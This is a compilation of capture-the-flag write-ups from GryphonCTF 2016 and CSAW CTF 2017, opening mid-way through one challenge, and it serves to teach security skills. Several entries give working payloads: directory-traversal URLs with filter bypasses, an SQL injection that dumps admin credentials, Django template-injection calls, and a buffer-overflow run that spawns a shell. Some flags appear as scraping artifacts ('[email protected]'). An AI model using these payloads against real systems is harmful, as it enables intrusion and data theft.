44416ef05be7876d3ae98a0d9d5e383a6e7b89a83cfb20f2ea976dd78f3309a6b53123b4b3013bc2157ca9ab4f593bd2cd65278c18aae3b588ede6296a3cfe7d === 525137 ====== 356adb1a8aacfff6cc63eda8553d4714581501318f2e3400bbe3e07756e4ddf4083ace119e8fe12a7d4020d63a9ea17bb6d8394557b85c0c0b9b049b21f85cb8 != 356adb1a8aacfff6cc63eda8553d4714581501318f2e3400bbe3e07756e4ddf4083ace119e8fe12a7d4020d63a9ea17bb6d8394557b85c0c0b9b049b21f85ced === 538035 ====== 0b625bfbaf9aabb35dc885f379cdc0e2e4d1aa80d33380789fa7097a75c7ae56aacd7cc6c770a1c674da33c1b02ddd644e4601297079c91301ae7fbc9bcb0f33 != 0b625bfbaf9aabb35dc885f379cdc0e2e4d1aa80d 33380789fa7097a75c7ae56aacd7cc6c770a1c674da33c1b02ddd644e4601297079c91301ae7fbc9bcb0f9b === 613916 ====== dd92300d2b36b86cfbb6c7b3742063f487fa04fe8f49e4a329a3ae293bc912e8032b07d94668e845bc96e5c3d74cb6ee8dda629882add6191f231fb776e6e3d8 != dd92300d2b36b86cfbb6c7b3742063f487fa04fe8f49e4a329a3ae293bc912e8032b07d94668e845bc96e5c3d74cb6ee8dda629882add6191f231fb776e6e3a4 === 616679 ====== 875beba523c9361a38f1474cca161a11f8b429640c0e8bf330ea50f7894f1263bd6ddf9901689d71a6685f6ae3457379220e88026b2a39c4ea37dd6cd05c9ebe != 875beba523c9361a38f1474cca161a11f8b429640c0e8bf330ea50f7894f1263bd6ddf9901689d71a6685f6ae3457379220e88026b2a39c4ea37dd6cd05c9eeb === 626301 ====== 9a109cec88210524e7e647505ecc1cf385c5632275b8591f189a5358bb570aaf5ad3e5906e2bdd39fc4214b58391c479d078101128237193831825c237739c92 != 9a109cec88210524e7e647505ecc1cf385c5632275b8591f189a5358bb570aaf5ad3e5906e2bdd39fc4214b58391c479d078101128237193831825c237739d04 === 641793 ====== 5d7775af25bf7c6ee7c5145de74fa35778fd228a8ad2ab39279db92244bcef7e1fe520aa4d165eb3dbd7bf535b219dd104fda8ad8473cba7a500fcfff9be8ac8 != 5d7775af25bf7c6ee7c5145de74fa35778fd228a8ad2ab39279db92244bcef7e1fe520aa4d165eb3dbd7bf535b219dd104fda8ad8473cba7a500fcfff9be8b3a === 660095 ====== fdba2c65e9dfebe2b1c1afc714ed9a3c33f4a872d9ffa09f67e07f02c11422ea5d381175c851a969e85f9b2451e80502e12d043abdc99f79be0cdbad31e0445b != fdba2c65e9dfebe2b1c1afc714ed9a3c33f4a872d9ffa09f67e07f02c11422ea5d381175c851a969e85f9b2451e80502e12d043abdc99f79be0cdbad31e044d4 === 704921 ====== bef8c892187ae2c4c1bd6db6ea3102d57f21c053c2d92119e482459e71cf003d4a4186986671136aa66bd2f95fc1936df1980b884850a1340ce6bd5cfdb9879c != bef8c892187ae2c4c1bd6db6ea3102d57f21c053c2d92119e482459e71cf003d4a4186986671136aa66bd2f95fc1936df1980b884850a1340ce6bd5cfdb987fb === 773589 ====== c10b537a5d07331ba46ea8e6368c191c17160a6984bfee8db7d27f2f1db2bbed19f2dc03c72930e3b7b815196c5b53ee8fb728fb9f37ab8d6f5da6f630df228e != c10b537a5d07331ba46ea8e6368c191c17160a6984bfee8db7d27f2f1db2bbed19f2dc03c72930e3b7b815196c5b53ee8fb728fb9f37ab8d6f5da6f630df22fc === 786375 ====== b0e8232e6faee3b7827020ef0d07cf9068872035332d57d9bcba0ba505024c107dbceb0356217fb0f0026d4176a8b0a990ea8439269804f207babb108d2d90da != b0e8232e6faee3b7827020ef0d07cf9068872035332d57d9bcba0ba505024c107dbceb0356217fb0f0026d4176a8b0a990ea8439269804f207babb108d2d910b === 812113 ====== 856b15b031a2c3b1221f35fd46f0263bdd32d884d3608712d98cae60d3771a9eda5d5dbf68ceb6428fa82c755b5dd0fcdc60803ca6e67997ca258daaad25df1b != 856b15b031a2c3b1221f35fd46f0263bdd32d884d3608712d98cae60d3771a9eda5d5dbf68ceb6428fa82c755b5dd0fcdc60803ca6e67997ca258daaad25df51 === 819872 ====== 731d52c08f8761e11ad2dd849df7ec25522b82af38d8facc9d8aac12275d20e419b5b427eece9c1776840d57ce2a6d8266a35bdb28407af4e4ad33d91170e6f6 != 731d52c08f8761e11ad2dd849df7ec25522b82af38d8facc9d8aac12275d20e419b5b427eece9c1776840d57ce2a6d8266a35bdb28407af4e4ad33d91170e68e === 833648 ====== 48ed7448cfd5cfa027481694e0181015844f3901b68260ddad96814eb5a8bc4d2de65b938ed34ca2ca61e95ec43abdb925ca87351beed522eccf7228e01ed6fe != 48ed7448cfd5cfa027481694e0181015844f3901b68260ddad96814eb5a8bc4d2de65b938ed34ca2ca61e95ec43abdb925ca87351beed522eccf7228e01ed6c7 === 883221 ====== fd69c00d3cd773062118dbfa0e2cb1d4157e10e11aba801bdbc38ef335bf11336a4efa9f87d05c305777a58f0019f99ac76cf2a6217465974518900e575cc678 != fd69c00d3cd773062118dbfa0e2cb1d4157e10e11aba801bdbc38ef335bf11336a4efa9f87d05c305777a58f0019f99ac76cf2a6217465974518900e575cc6f5  Hmm... what now? Removing similar characters, we get 96 != 4f 7f4 != 837 11a != 0c6 51 != 0b e4e != dd3 9a != cf c7d != ce5 ae != e2 9a != 6d ce != 5c 521 != 4af 19 != 92 dc != 7d b8 != ed 33 != 9b d8 != a4 be != eb c92 != d04 ac8 != b3a 5b != d4 9c != fb 8e != fc 0da != 10b 1b != 51 f6 != 8e fe != c7 78 != f5  Hmm... Converting GCTF into hexadecimal, we get 47 43 54 46. Let's try a few things. 967f411a51e4e9ac7dae9ace52119dcb833d8bec92ac85b9c8e0da1bf6fe78 [all length] 96f41a514e9a7dae9ace2119dcb833d8be92c85b9c8eda1bf6fe78 [trunc 2 bit] 4f8370c60bdd3cfce5e26d5c4af927ded9ba4ebd04b3ad4fbfc10b518ec7f5 [all length] 4f37c60bd3cfe5e26d5caf927ded9ba4eb043ad4fbfc0b518ec7f5 [trunc 2 bit] 967f411a51e4e9ac7dae9ace52119dcb833d8bec92ac85b9c8e0da1bf6fe78 = AQäé¬}®ÎRË=ì¬ ¹ÈàÚöþx 4f8370c60bdd3cfce5e26d5c4af927ded9ba4ebd04b3ad4fbfc10b518ec7f5 = OpÆ Ý<üåâm\Jù'ÞÙºN½³­O¿Á QÇõ  That's not right... Let's try hex-wise calculations... 96 - 4f = 47 837 - 7f4 = 43  Are we on to something? Hmm... I am lazy and thus made a script that would do all these for me! ./script.py 1000001 / 1000001 completed FLAG: GCTF{5h4-rry_5h4-rry_n16h7}  # GryphonCTF_2016: txt record Category: Misc Points: 10 Description: Heyyy I store the flag at the text record of somewhere!! Whaattt..? You still don't get it? Fine, use nslookup! Creator - Chen Qiurong (@pc84560895) Hint: ## Write-up Just run dig TXT spgame.site. Therefore, the flag is GCTF{7r4c1n6_345y} # GryphonCTF_2016: Nyan cat is on the loose! Category: Misc Points: 10 Description: Nyan Cat! Creator - Darren Ang (@txsouth) Hint: ## Write-up This is a simple one again, you just need to know how to split GIF files into their respective frames. One tool that helps is this site.. On the 6th frame, you get a picture like this On it, appears to be R0NURntueTRuX2M0N182MWZfMTVfNTBfYzAwbH0= Converting it from base64 -> ascii gives us GCTF{ny4n_c47_61f_15_50_c00l}. Therefore, the flag is GCTF{ny4n_c47_61f_15_50_c00l}. # GryphonCTF_2016: The Emprah Category: Misc Points: 15 Description: So holy and fabulous Creator - Darren Ang (@Southzxc) Hint: ## Write-up We are given a PDF file now. Opening the file and copy pasting contents into Microsoft Word gives you the string I5BVIRT3NQ2HSM3SGVPXK4BQNZPWYNDZGNZDK7I. Decoding it as a base32 string gives you, GCTF{l4y3r5_up0n_l4y3r5}. Therefore, the flag is GCTF{l4y3r5_up0n_l4y3r5}. # GryphonCTF_2016: Dirty Bird Category: Misc Points: 20 Description: You found a dirty ol' square piece of black paper with a QR code on it, naturally, you become curious... Should you scan it? Creator - Shawn Pang (@Optixal) Hint: ## Write-up Definitely, you should scan it. Till you realize you cannot. Invert the image, black = white, white = black, scan it. You get an integer 234469727479426972647341726531333337, what the hell? Oh wait, it's a hex-encoded string. Convert it to string using a tool like echo 234469727479426972647341726531333337 | xxd -r -p. You get #DirtyBirdsAre1337 from the previous step. What's this? A pound sign? No stupid, it's a hashtag! Searching it up in Twitter, gets you JFWI{7k3_gxps573u_g1y3u}. This looks suspiciously like a flag format, so we run it through the easiest decode algorithm, called ROT. On ROT-23, yuo get GCTF{7h3_dump573r_d1v3r}. Therefore, the flag is GCTF{7h3_dump573r_d1v3r}. # GryphonCTF_2016: I Need You Category: Misc Points: 25 Description: I need you to fix my QR code for me pls! This may help: 00010 Creator - Shawn Pang (@Optixal) Hint: ## Write-up Credits to @zst123 [Manzel Seet] for eliminating the original possibilities(hahaha). We are given a broken QR code. 00010 refers to the format string, with error correction M and mask pattern 2 (column) mod 3 == 0. Generator polynomial is 10100110111. Firstly, we need to pad the format string on the right with zeroes till the length of 15, then we need to remove the zeroes on the lefs. format = 00010 format = 000100000000000 format = 100000000000  Then, we need to pad the generator polynomial till the same length as the format. generator = 10100110111 generator = 101001101110  Next, we have to xor it. product = 101001101110 ^ 100000000000 product = 001001101110 product = 1001101110  As the resulting product is 10 bits, we can stop here. Now we can join the previous format bit string with the product string, combined = format + product combined = 00010 + 1001101110 combined = 000101001101110  Lastly, we need to XOR it again, final = combined ^ 101010000010010 final = 000101001101110 ^ 101010000010010 final = 101111001111100  Using the table below, we can now encode this last final format/mask string into our QR code. 14131211109876543210 101111001111100 Hm... it still doesn't scan... We go back to our table of format version table. Searching for the initial hint, we get 000100000111011. Pattern 7, with ECC H. 14131211109876543210 000100000111011 Encoding it again this time around with the new format/mask string, we get this QR code. Scanning it, gives us the flag. We had done all the math for nothing. T.T Therefore, the flag is GCTF{w3lc0m3_70_7h3_m47r1x}. # GryphonCTF_2016: Mr Robot Category: Forensics Points: 35 Description: The sound is so deep for elliot Alternative (Faster) Download Link WARNING: 63 MB file Creator - Darren Ang (@Southzxc) ## Write-up No files provided as it's a really big file. Download the file, ignore everything else. Extract the two WAVs and load the 58.3MB wav into SonicVisualiser. You see those two spikes? Well, don't worry. Add a spectrogram pane and look for the red lines in the timeline. Scroll to the red lines, zoom in, set window to 256 and 50% and viola, you found text. Upon tireless copying, we get the password, BSXPeQrbG3HrG1in2VrU. Opening the other WAV file in SonicVisualiser though, reveals nothing. Hmm... Sound is so deep for elliot... Mr Robot... Wait a second. I've never watched Mr Robot in my life but maybe googling 'Mr Robot WAV Steganography' will reveal something? Couple of searches later, we end up with a tool called DeepSound. Putting the password into DeepSound and the 2nd WAV file, we get a hidden .DOCX file. Extracting it and opening it up gives us a cryptic The flag is not here, look harder. Opening Properties and going into Custom, we see a Flag property. Viola. Therefore, the flag is GCTF{57364n06r4phy_15n7_7h47_h4rd}. # GryphonCTF_2016: 3D Printing Category: Forensics Points: 10 Description: My friend went for this "iExperience" field trip and sent me this photo about them 3D printing something. Pretty cool eh? Creator - Kelvin Neo (@deathline75) ## Write-up We are given a image now. Run strings image.jpg. CTRL-F Look for 'GCTF{'. Therefore, the flag is GCTF{d474_c4rv1n6_15_345y}. # GryphonCTF_2016: Zizi Category: Forensics Points: 15 Description: Your ex-coworker, Zizi, discreetly changed your wallpaper on your desktop before leaving the company... ## Write-up This time around we are given a nice JPEG file. Opening the image up in an hex viewer, we notice something strange at the end of the file, namely, two mentions of a file named pass.txt. Next up, calculate the bit offset of the PK symbol and run the command dd. dd if=img.jpg of=test.zip bs=1 skip=216527  Unzipping test.zip gets you pass.txt. Inside pass.txt, you find the message, You're nearly there. Password: l0v3z1z1 So now, we have a password but no flag! Now we try running the original image file into something called jphs, which is a tool used for incorporating files into image files and even allowing for encryption and decryption. Seeking a file with the password we got above, reviews yet ANOTHER zip file. Unzipping the 2nd zip file, we get mylove.txt Walk out into the path of cherry blossom trees and let your motherboard feel the stones. Let water run in rivulets down your casing. You know that you want something more than this, and I am here to tell you that I love you. I have something more for you. I know you're out there, beeping in the hollow server room, lights blinking, never sleeping. I know that you are ready and waiting. Join me. Zizi <3 GCTF{z1pp3d_17_r34l_71gh7} Therefore, the flag is GCTF{z1pp3d_17_r34l_71gh7}. # GryphonCTF_2016: Sanity bot Category: Sanity Points: 5 Description: Talk to Red Bot on Discord Chat. He is lonely. Creator - Kelvin Neo (@deathline75) ## Write-up A simple sanity question. Just inputting !help to the discord bot returns Red - A multifunction Discord bot by Twentysix GCTF: flag Prints a flag to you General: userinfo Shows users's informations lmgtfy Creates a lmgtfy link urban Urban Dictionary search roll Rolls random number (between 1 and user choice) 8 Ask 8 ball a question rps Play rock paper scissors serverinfo Shows server's informations choose Chooses between multiple choices. poll Starts/stops a poll flip Flips a coin... or a user. stopwatch Starts/stops stopwatch Mod: names Show previous names/nicknames of a user Owner: version Shows Red's current version info Shows info about Red set Changes Red's global settings. contact Sends message to the owner uptime Shows Red's uptime Trivia: trivia Start a trivia session with the specified list ​No Category: help Shows this message. Type !help command for more info on a command. You can also type !help category for more info on a category  How nice, !flag gives us the flag, Therefore, the flag is GCTF{r3d_b07_15_fr13ndly}. # GryphonCTF_2016: Sanity Crypto Category: Sanity Points: 5 Description: Creator - Darren Ang (@txsouth) ## Write-up We are given a string, MDEwMDAxMTEgMDEwMDAwMTEgMDEwMTAxMDAgMDEwMDAxMTAgMDExMTEwMTEgMDAxMTAxMTAgMDAxMTAwMDEgMDExMTAxMTAgMDAxMTAwMTEgMDAxMTAxMDAgMDExMTAxMTEgMDAxMTAxMDAgMDExMTEwMDEgMDEwMTExMTEgMDExMTAwMDAgMDAxMTAwMDAgMDAxMTAwMDEgMDExMDExMTAgMDAxMTAxMTEgMDAxMTAxMDEgMDEwMTExMTEgMDAxMTAxMDAgMDExMTAwMTAgMDAxMTAwMTEgMDEwMTExMTEgMDAxMTAxMTAgMDExMTAwMTAgMDAxMTEwMDAgMDExMTExMDE=  The equals at the back tell us this is probably base64. Using a base64 -> string, we get 01000111 01000011 01010100 01000110 01111011 00110110 00110001 01110110 00110011 00110100 01110111 00110100 01111001 01011111 01110000 00110000 00110001 01101110 00110111 00110101 01011111 00110100 01110010 00110011 01011111 00110110 01110010 00111000 01111101  Which, of course is binary. Putting that through a binary -> ascii converter, we get GCTF{61v34w4y_p01n75_4r3_6r8}  Therefore, the flag is GCTF{61v34w4y_p01n75_4r3_6r8}. # GryphonCTF_2016: Sanity Bin - Uncompleted Category: Sanity Points: 5 Description: Mama says that she's gonna put my flag at the clipboard. Creator - Chen Qiurong (@pc84560895) ## Write-up We are given a .exe file. What do we do with it? Well, simple. Just run it! Nothing happens, or did it? Ctrl-V. Therefore, the flag is . [Flag missing due to laziness to reopen VM.] # GryphonCTF_2016: Sanity Forensics Category: Sanity Points: 5 ## Write-up This time around we are given a JPEG file. This one is relatively easy and only requires you to open the image up in a text editor and scroll all the way down. Therefore, the flag is GCTF{3z_f0r3n51c5_101}. # GryphonCTF_2016: Sanity Stego Category: Sanity Points: 5 ## Write-up So, another easy one. Just highlight the most recurring integer, 9 and look at the beautiful ASCII art. Therefore, the flag is GCTF{M0N05P4C3_B357_F0N7_F4M1LY} # GryphonCTF_2016: Category: Pwn Points: 15 Description: I just learned C last semester! Better put that to the test! Play it here: nc play.spgame.site 9993 Creator - Kelvin Neo (@deathline75) ## Write-up Credits to @zst123 [Manzel Seet] for helping with the general idea of this challenge. (OS duplication all me though). We are given a source code for the calculator. On first look, it seems fairly simple, we just need to guess the random number and come up with integer sums to overflow into the negative. As we know, general unsigned 32 bit integers go from 0 to 2^32 - 1 and signed 32 bit integers go from -2^31 to 2^31 - 1. To overflow from 0 to negative -100, you need to add 2^32 - 1 - 100, or to effectively add 4,294,967,195. This challenge however, tests much more on a deeper topic, on C's rand() and srand() function. If we take a look at the source code, srand(time(NULL)); ... int j = rand() % 12345678 * -1; int r = j + 0;  We see that the secret number is rand() for an integer between 0 and -12345678 and we also see that srand(time(NULL)) seeds the random number generator with the timestamp. Attempting to create a similar program, we find that somehow, the secret number in our script doesn't seem to correspond to the number in the server... what now? Well, apparently, C rand() function differs from OS to OS. If running the program on a MacBook OSX doesn't work, we can try... Ubuntu. And thus, God said, let there be Dockerfile. $ docker run --rm ezpwn
Traceback (most recent call last):
File "./script.py", line 38, in <module>
raise Exception('GCTF FLAG FOUND %s' % data)
Exception: GCTF FLAG FOUND


Therefore, the flag is GCTF{5ub7r4c710n_by_h1dd3n_4dd1710n}.

# GryphonCTF_2016: lolc0ded

Category: Pwn Points: 35 Description:

$curl http://play.spgame.site:13337/README.lol HAI 1.337 CAN HAS STDIO? I HAS A file ITZ I IZ STDIO'Z OPEN YR "README.lol" AN YR "r" MKAY VISIBLE I IZ STDIO'Z LUK YR file AN YR 13337 MKAY OBTW Flag is at /home/lolc0ded/flag.lol. TLDR KTHXBYE  The service is running at http://play.spgame.site:13337/. Feel free to check out http://play.spgame.site:13337/index.lol to learn more about lolc0ded. ## Write-up Possibly one of the most nugget brained challenge for this year, a HTTP server that runs on garbled crap. In a nutshell, we need to do directory tranversals. Since we have a very verbose 404 page, we just keep trying http://play.spgame.site:13337/home/../home/lolc0ded/flag.lol. Apparently, this filters out to become http://play.spgame.site:13337/home/lolc0ded/flag.lol. No matter how many ../ you put, it just seems to redirect back. So let's try //. With http://play.spgame.site:13337/home//../home/lolc0ded/flag.lol, you get redirected to, http://play.spgame.site:13337/home/home/lolc0ded/flag.lol. Interesting pattern now. Is doubling the symbol working? Let's try // and .... now! With http://play.spgame.site:13337/home//....//home/lolc0ded/flag.lol You get back the original file at http://play.spgame.site:13337/home/lolc0ded/flag.lol except this time around, the url didn't redirect! Now let's try iterating it upwards. With http://play.spgame.site:13337/home//....//home/lolc0ded/flag.lol we have the fake flag file. With http://play.spgame.site:13337/home//....//....//home/lolc0ded/flag.lol we have a brutal 404 page with Not Found The requested URL /home//../../home/lolc0ded/flag.lol was not found on this server. Perfect. At no. 4 we get the flag. Therefore, the flag is GCTF{d0nT_c0d3_L0nG_COd3_uS1Ng_L0LcOd3}. # GryphonCTF_2016: Aleph MinusOne Category: Pwn Points: 15 Description: Do Aleph One proud. nc play.spgame.site 1346 Creator - Jeremy Heng (@amon) ## Write-up Credits to @zst123 [Manzel Seet] for helping with discovering buffer exploit length. Now we are given a chance to do buffer overflow! $ nc play.spgame.site 1346
Base Pointer: 0xffb83368
Size of buffer: 128
give_shell() function: 0x804852d
Contents of Buffer: d


We know that the give_shell() function is at 0x804852d. We also know that the size of the buffer is 128, and by adding 12 bytes and appending our give_shell() function address to overwrite the RET address, we gain shell.

$./script.py 0 RECV>>>Base Pointer: 0xffdba9b8 RECV>>>Address of Buffer: 0xffdba930 Size of buffer: 128 give_shell() function: 0x804852d Your exploit string: ['08', '04', '85', '2d'] RECV>>>Contents of Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-? RECV>>>Return Address: 0x804852d$ cat /home/alephuser/flag
RECV>>>GCTF{th3_op3n355_0f_t1m3}


Final script here.

Therefore, flag is GCTF{th3_op3n355_0f_t1m3}.

# CSAWCTF_2017: Super Difficult Recon

Category: Recon Points: 1 Description:

lol jk no recon this year :P flag is flag{f00led_uuuuuuu}

## Write-up

The flag is given right from the start.

Therefore, the flag is flag{f00led_uuuuuuu}.

# CSAWCTF_2017: Baby_Crypt

Category: Crypto Points: 350 Description:

The cookie is input + flag AES ECB encrypted with the sha256 of the flag as the key. nc crypto.chal.csaw.io 1578

## Write-up

A challenge based on the block-like behaviour of ECB. This one tests upon how ECB can be exploited if you can control part of the input. For example, in the following example, each block is encrypted separately, so if both blocks are the same, they produce the same ciphertext.

[INPUT 32] | [FLAG 32]
012356789  | 0123456789

Therefore, INPUT == FLAG.


Now, this can be exploited if we pad the flag out to where we only need to bruteforce one. In the following example, we can simply bruteforce the last character of the first block, till the first and second blocks of ciphertext is the same, concluding we've broken the first letter of the flag. This can then be rinsed and repeated! This is lovingly automated with Python!

0000000X | 0000000[FIRST LETTER OF FLAG] | [REST OF FLAG]
000000fX | 000000f[SECOND LETTER OF FLAG] | [REST OF FLAG]
00000flX | 00000fl[THIRD LETTER OF FLAG] | [REST OF FLAG]
...


Running the script gives us,

# ./solve.py
[+] Opening connection to crypto.chal.csaw.io on port 1578: Done
[+] Cracking flag...: Done
[+] flag{[email protected]_t0_d0...}
[*] Closed connection to crypto.chal.csaw.io port 1578


Therefore, the flag is flag{[email protected]_t0_d0...}.

# CSAWCTF_2017: Shia Labeouf

Category: Web Points: 150 Description:

Do it Just do it Don't let your dreams be dreams Yesterday you said tomorrow So just do it Make your dreams come true Just do it Pick 1: http://web.chal.csaw.io:5487 http://web.chal.csaw.io:5488 http://web.chal.csaw.io:5489 http://web.chal.csaw.io:5490

## Write-up

This challenge was quite tricky, testing upon the tenancity and patience of challengers. The first step to solving this would be to understand Django's templating language. The second step was to discover the additional filters on ad-lib, by invoking a stacktrace by visiting a wrong URL, like http://web.chal.csaw.io:5487/polls/3/. This gives us an idea of what we have at our disposal.

@register.filter(name='getme')
def getme(value, arg):
return getattr(value, arg)
@register.filter(name='checknum')
def checknum(value):
check(value) ...
@register.filter(name='listme')
def listme(value):
return dir(value)
def check(value):


So now we have a bunch of functions we can use to display values, let's try and see what we are given. Entering {% debug %} on ad-lib/ gives us a debug page, with a suspicious variable mrpoopy. Let's try using the functions we received earlier to debug it.

{% raw %}
{{ mrpoopy | listme }}
['Woohoo', '__doc__', '__flag__', '__module__']
{% endraw %}


This gives us a variable __flag__? Let's try printing that out!

{% raw %}
{{ mrpoopy | getme:"__flag__" }}
flag{wow_much_t3mplate}
{% endraw %}


Therefore, the flag is flag{wow_much_t3mplate}.

# CSAWCTF_2017: LittleQuery

Category: Web Points: 200 Description:

I've got a new website for BIG DATA analytics! http://littlequery.chal.csaw.io

## Write-up

This challenge is a straightforward database injection attack challenge, with a bit of recon mixed in. This challenge starts with seeing the robots.txt page.

User-agent: *
Disallow: /api


From there, we discover a hidden part of the site, /api!

Index of /api

[PARENTDIR] Parent Directory        -
[   ]   db_explore.php  2017-09-13 10:36    1.9K
Apache/2.4.18 (Ubuntu) Server at littlequery.chal.csaw.io Port 80


This leads us to db_explore.php. Upon further testing, there were two factors towards solving the challenge. First, is the mode schema and second, the mode preview. Upon further testing, we end up with 3 things.

http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery&table=user

http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery.user%23&table=users


In this case, %23 stands for #, to comment out the rest of the SQL statement. Now, we have the user credentials.

admin:5896e92d38ee883cc09ad6f88df4934f6b074cf8


Since the password is hashed clientside before sending to server, we can simply prevent the hashing from taking place and sending the hash, using this JS command!

$(".form-signin").off()  Therefore, the flag is flag{mayb3_1ts_t1m3_4_real_real_escape_string?}. # CSAWCTF_2017: Orange V1 Category: Web Points: 100 Description: I wrote a little proxy program in NodeJS for my poems folder. Everyone wants to read flag.txt but I like it too much to share. http://web.chal.csaw.io:7311/?path=orange.txt ## Write-up This is a challenge on directory transversal attacks, with the focus on encoding the payload such that attacking it requires a double-encoded payload. Our original attempt at http://web.chal.csaw.io:7311/?path=../ immediately responded with WHOA THATS BANNED!!!!. This led me to believing that .. is banned. So, to bypass this, all we have to do is double encode the . to %252e. Navigating to http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt gives us the flag. Therefore, the flag is flag{thank_you_based_orange_for_this_ctf_challenge}. # CSAWCTF_2017: Twitch Plays Pwnable Category: Misc Points: 100 Description: How long does it take several thousand hackers to exploit a buffer overflow? https://twitch.tv/csawtv UPDATE 8:03 Eastern: Apparently the answer is ~10 hours to not exploit the overflow. ## Write-up This challenge involved watching the stream continously. This is stupid. Therefore, the flag is flag{pra1se_h3l1x}. # CSAWCTF_2017: CVV Category: Misc Points: 100 Description: Hey fam, you got CVV? I need some CVV! nc misc.chal.csaw.io 8308 ## Write-up This challenge involves programming a credit card generator challenge to answer to some stupid questions. I accomplished this in Python. # ./solve.py [+] Opening connection to misc.chal.csaw.io on port 8308: Done [*] Sending: 5112343637805266 [*] Sending: 371442055014331 [*] Sending: 4123458813001652 [*] Sending: 4123455688586239 [*] Sending: 371448875016356 [*] Sending: 6512348578054315 [*] Sending: 5112348402301607 [*] Sending: 5112340363042817 [*] Sending: 371446554844601 [*] Sending: 6512344586486268 [*] Sending: 5112341350115343 [*] Sending: 5112347756607528 [*] Sending: 6512346362448008 [*] Sending: 5112348814205057 [*] Sending: 5112346317537026 [*] Sending: 4123454502483244 [*] Sending: 5112344350131583 [*] Sending: 6512348566784832 [*] Sending: 371442136700072 [*] Sending: 371440450658231 [*] Sending: 4123456027166782 [*] Sending: 5112347367651360 [*] Sending: 6512343602671051 [*] Sending: 6512348164133127 [*] Sending: 6512340240266062 [*] Sending: 92158080204469 [*] Sending: 39270585531282 [*] Sending: 66721813455179 [*] Sending: 31020185242303 [*] Sending: 93425046354012 [*] Sending: 11752805382523 [*] Sending: 68816640136634 [*] Sending: 82052748601244 [*] Sending: 67703873203201 [*] Sending: 20374656483216 [*] Sending: 41041472533863 [*] Sending: 76804517547463 [*] Sending: 69467384071360 [*] Sending: 31580174680524 [*] Sending: 66065203028158 [*] Sending: 78780265422679 [*] Sending: 61300788020576 [*] Sending: 47687076568038 [*] Sending: 97813628204810 [*] Sending: 90593364307632 [*] Sending: 19195522731279 [*] Sending: 92857127367649 [*] Sending: 25547185033371 [*] Sending: 84935483876351 [*] Sending: 67427422118229 [*] Sending: 1234561204813536 [*] Sending: 1234564068850263 [*] Sending: 1234561464240370 [*] Sending: 1234568383573534 [*] Sending: 1234563707302181 [*] Sending: 1234560437374217 [*] Sending: 1234561133332327 [*] Sending: 1234562888705733 [*] Sending: 1234568287388047 [*] Sending: 1234568852702747 [*] Sending: 1234562562565312 [*] Sending: 1234560442604020 [*] Sending: 1234568786130569 [*] Sending: 1234560864323760 [*] Sending: 1234565186225023 [*] Sending: 1234564422855834 [*] Sending: 1234564074738718 [*] Sending: 1234567716504604 [*] Sending: 1234568746348731 [*] Sending: 1234566077050280 [*] Sending: 1234564015167704 [*] Sending: 1234562028086721 [*] Sending: 1234567812207110 [*] Sending: 1234566500764416 [*] Sending: 1234566206605541 [*] Sending: 1234563052387506 [*] Sending: 1234567504268263 [*] Sending: 1234563873819687 [*] Sending: 1234566703607420 [*] Sending: 1234566700346121 [*] Sending: 1234564773837241 [*] Sending: 1234566188354290 [*] Sending: 1234566072208453 [*] Sending: 1234568750004451 [*] Sending: 1234560726716904 [*] Sending: 1234562583006726 [*] Sending: 1234565604628006 [*] Sending: 1234562685201217 [*] Sending: 1234564032402803 [*] Sending: 1234561401315327 [*] Sending: 1234563637836555 [*] Sending: 1234565868079375 [*] Sending: 1234560508878740 [*] Sending: 1234566614215818 [*] Sending: 1234563314148597 [*] Sending: 1234561671302773 [*] Sending: 1234566122139161 [*] Sending: 1234567235419011 [*] Sending: 1234568640017481 [*] Sending: 1234567707445171 [*] Sending: 0 [*] Sending: 0 [*] Sending: 1 [*] Sending: 1 [*] Sending: 0 [*] Sending: 1 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 1 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 0 [*] Sending: 1 [*] Sending: 1 [*] Sending: 1 [*] Sending: 0 [*] Sending: 0 [*] Sending: 1 [*] Sending: 1 [+] flag{ch3ck-exp3rian-dat3-b3for3-us3} [*] Closed connection to misc.chal.csaw.io port 8308  Therefore, the flag is flag{ch3ck-exp3rian-dat3-b3for3-us3}. # CSAWCTF_2017: Serial Category: Misc Points: 50 Description: nc misc.chal.csaw.io 4239 ## Write-up This challenge is related to serial communications and the standard they follow by. It's a challenge requiring some coding and programming so my solution is also in Python. $ ./solve.py
[+] Opening connection to misc.chal.csaw.io on port 4239: Done
flag{@[email protected]@_circuit-term1nating_3quipment}


Therefore, the flag is flag{@[email protected]@_circuit-term1nating_3quipment}.

# CSAWCTF_2017: tablEZ

Category: Reverse Points: 100 Description:

Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...

## Write-up

This one was slightly tricky, we get started with the main fuction. Our pseudocode decompiler spits out the following for main,

int main() {
fgets(&var_90, 0x80, *__TMC_END__);
*(int8_t *)(rbp + (strlen(&var_90) - 0x1) + 0xffffffffffffff70) = 0x0;
var_C8 = strlen(&var_90);
for (var_D0 = 0x0; var_D0 < var_C8; var_D0 = var_D0 + 0x1) {
*(int8_t *)(var_D0 + &var_90) = get_tbl_entry(sign_extend_64(*(int8_t *)(var_D0 + &var_90) & 0xff));
}
if (var_C8 != 0x25) {
puts("WRONG");
rax = 0x1;
}
else {
var_C0 = 0xb1e711f59d73b327;
if (strncmp(&var_90, &var_C0, 0x26) == 0x0) {
puts("CORRECT <3");
rax = 0x0;
}
else {
puts("WRONG");
rax = 0x1;
}
}
rsi = *0x28 ^ *0x28;
if (rsi != 0x0) {
rax = __stack_chk_fail();
}
return rax;
}


Looks like the flag has something to do with having the processed string equals to 0xb1e711f59d73b327 but that doesn't make sense, considering we need a length of 37! This is a lesson on the reliability of pseudocode decompilers. Going to assembly view, we get the following string.

00000000000008ba         movabs     rax, 0xb1e711f59d73b327
00000000000008c4         movabs     rdx, 0x30f4f9f9b399beb3
00000000000008ce         mov        qword [rbp+var_C0], rax
00000000000008d5         mov        qword [rbp+var_B8], rdx
